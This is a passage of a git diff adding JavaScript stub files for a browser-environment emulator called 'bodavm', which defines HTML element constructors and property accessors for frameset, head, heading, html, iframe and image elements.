"onblur_get", arguments)}, set:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onblur_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onerror_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onfocus", {configurable:true, enumerable:true, get:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onfocus_get", arguments)}, set:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onfocus_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onload", {configurable:true, enumerable:true, get:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onload_get", arguments)}, set:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onload_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onresize", {configurable:true, enumerable:true, get:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onresize_get", arguments)}, set:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onresize_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onscroll", {configurable:true, enumerable:true, get:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onscroll_get", arguments)}, set:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onscroll_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onafterprint", {configurable:true, enumerable:true, get:function onafterprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onafterprint_get", arguments)}, set:function onafterprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onafterprint_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onbeforeprint", {configurable:true, enumerable:true, get:function onbeforeprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onbeforeprint_get", arguments)}, set:function onbeforeprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onbeforeprint_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onbeforeunload", {configurable:true, enumerable:true, get:function onbeforeunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onbeforeunload_get", arguments)}, set:function onbeforeunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onbeforeunload_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onhashchange", {configurable:true, enumerable:true, get:function onhashchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onhashchange_get", arguments)}, set:function onhashchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onhashchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onlanguagechange", {configurable:true, enumerable:true, get:function onlanguagechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onlanguagechange_get", arguments)}, set:function onlanguagechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onlanguagechange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onmessage_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onmessageerror", {configurable:true, enumerable:true, get:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onmessageerror_get", arguments)}, set:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onmessageerror_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onoffline", {configurable:true, enumerable:true, get:function onoffline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onoffline_get", arguments)}, set:function onoffline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onoffline_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "ononline", {configurable:true, enumerable:true, get:function ononline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "ononline_get", arguments)}, set:function ononline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "ononline_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onpagehide", {configurable:true, enumerable:true, get:function onpagehide (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpagehide_get", arguments)}, set:function onpagehide (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpagehide_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onpageshow", {configurable:true, enumerable:true, get:function onpageshow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpageshow_get", arguments)}, set:function onpageshow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpageshow_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onpopstate", {configurable:true, enumerable:true, get:function onpopstate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpopstate_get", arguments)}, set:function onpopstate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpopstate_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onrejectionhandled", {configurable:true, enumerable:true, get:function onrejectionhandled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onrejectionhandled_get", arguments)}, set:function onrejectionhandled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onrejectionhandled_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onstorage", {configurable:true, enumerable:true, get:function onstorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onstorage_get", arguments)}, set:function onstorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onstorage_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onunhandledrejection", {configurable:true, enumerable:true, get:function onunhandledrejection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onunhandledrejection_get", arguments)}, set:function onunhandledrejection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onunhandledrejection_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onunload", {configurable:true, enumerable:true, get:function onunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onunload_get", arguments)}, set:function onunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onunload_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLHeadElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLHeadElement.js new file mode 100644 index 00000000..2aa13e79 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLHeadElement.js @@ -0,0 +1,5 @@ +// HTMLHeadElement对象 +bodavm.memory.globalobj['HTMLHeadElement'] = function HTMLHeadElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLHeadElement'], "HTMLHeadElement"); +bodavm.memory.globalobj['HTMLHeadElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLHeadElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLHeadingElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLHeadingElement.js new file mode 100644 index 00000000..14413a4a --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLHeadingElement.js @@ -0,0 +1,6 @@ +// HTMLHeadingElement对象 +bodavm.memory.globalobj['HTMLHeadingElement'] = function HTMLHeadingElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLHeadingElement'], "HTMLHeadingElement"); +bodavm.memory.globalobj['HTMLHeadingElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLHeadingElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLHeadingElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHeadingElement'].prototype, "HTMLHeadingElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHeadingElement'].prototype, "HTMLHeadingElement", "align_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLHtmlElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLHtmlElement.js new file mode 100644 index 00000000..d411a807 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLHtmlElement.js @@ -0,0 +1,6 @@ +// HTMLHtmlElement对象 +bodavm.memory.globalobj['HTMLHtmlElement'] = function HTMLHtmlElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLHtmlElement'], "HTMLHtmlElement"); +bodavm.memory.globalobj['HTMLHtmlElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLHtmlElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLHtmlElement', "version", {configurable:true, enumerable:true, get:function version (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHtmlElement'].prototype, "HTMLHtmlElement", "version_get", arguments)}, set:function version (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHtmlElement'].prototype, "HTMLHtmlElement", "version_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLIFrameElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLIFrameElement.js new file mode 100644 index 00000000..ecfa8d5a --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLIFrameElement.js @@ -0,0 +1,27 @@ +// HTMLIFrameElement对象 +bodavm.memory.globalobj['HTMLIFrameElement'] = function HTMLIFrameElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLIFrameElement'], "HTMLIFrameElement"); +bodavm.memory.globalobj['HTMLIFrameElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLIFrameElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "src_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "srcdoc", {configurable:true, enumerable:true, get:function srcdoc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "srcdoc_get", arguments)}, set:function srcdoc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "srcdoc_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "name_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "sandbox", {configurable:true, enumerable:true, get:function sandbox (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "sandbox_get", arguments)}, set:function sandbox (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "sandbox_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "allowFullscreen", {configurable:true, enumerable:true, get:function allowFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allowFullscreen_get", arguments)}, set:function allowFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allowFullscreen_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "width_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "height_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "contentDocument", {configurable:true, enumerable:true, get:function contentDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "contentDocument_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "contentWindow", {configurable:true, enumerable:true, get:function contentWindow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "contentWindow_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "referrerPolicy_get", arguments)}, set:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "referrerPolicy_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "csp", {configurable:true, enumerable:true, get:function csp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "csp_get", arguments)}, set:function csp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "csp_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "allow", {configurable:true, enumerable:true, get:function allow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allow_get", arguments)}, set:function allow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allow_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "featurePolicy", {configurable:true, enumerable:true, get:function featurePolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "featurePolicy_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "align_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "scrolling", {configurable:true, enumerable:true, get:function scrolling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "scrolling_get", arguments)}, set:function scrolling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "scrolling_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "frameBorder", {configurable:true, enumerable:true, get:function frameBorder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "frameBorder_get", arguments)}, set:function frameBorder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "frameBorder_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "longDesc", {configurable:true, enumerable:true, get:function longDesc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "longDesc_get", arguments)}, set:function longDesc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "longDesc_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "marginHeight", {configurable:true, enumerable:true, get:function marginHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "marginHeight_get", arguments)}, set:function marginHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "marginHeight_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "marginWidth", {configurable:true, enumerable:true, get:function marginWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "marginWidth_get", arguments)}, set:function marginWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "marginWidth_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "getSVGDocument", {configurable:true, enumerable:true, writable:true, value:function getSVGDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "getSVGDocument", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "loading", {configurable:true, enumerable:true, get:function loading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "loading_get", arguments)}, set:function loading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "loading_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "allowPaymentRequest", {configurable:true, enumerable:true, get:function allowPaymentRequest (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allowPaymentRequest_get", arguments)}, set:function allowPaymentRequest (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allowPaymentRequest_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLImageElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLImageElement.js new file mode 100644 index 00000000..0f8d3040 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLImageElement.js @@ -0,0 +1,32 @@ +// HTMLImageElement对象 +bodavm.memory.globalobj['HTMLImageElement'] = function HTMLImageElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLImageElement'], "HTMLImageElement"); +bodavm.memory.globalobj['HTMLImageElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLImageElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLImageElement', "alt", {configurable:true, enumerable:true, get:function alt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "alt_get", arguments)}, set:function alt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "alt_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "src_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "srcset", {configurable:true, enumerable:true, get:function srcset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "srcset_get", arguments)}, set:function srcset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "srcset_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "sizes", {configurable:true, enumerable:true, get:function sizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "sizes_get", arguments)}, set:function sizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "sizes_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "crossOrigin", {configurable:true, enumerable:true, get:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "crossOrigin_get", arguments)}, set:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "crossOrigin_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "useMap", {configurable:true, enumerable:true, get:function useMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "useMap_get", arguments)}, set:function useMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "useMap_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "isMap", {configurable:true, enumerable:true, get:function isMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "isMap_get", arguments)}, set:function isMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "isMap_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "width_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "height_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "naturalWidth", {configurable:true, enumerable:true, get:function naturalWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "naturalWidth_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "naturalHeight", {configurable:true, enumerable:true, get:function naturalHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "naturalHeight_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "complete", {configurable:true, enumerable:true, get:function complete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "complete_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "currentSrc", {configurable:true, enumerable:true, get:function currentSrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "currentSrc_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "referrerPolicy_get", arguments)}, set:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "referrerPolicy_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "decoding", {configurable:true, enumerable:true, get:function decoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "decoding_get", arguments)}, set:function decoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "decoding_set", arguments)}},'prototype'); 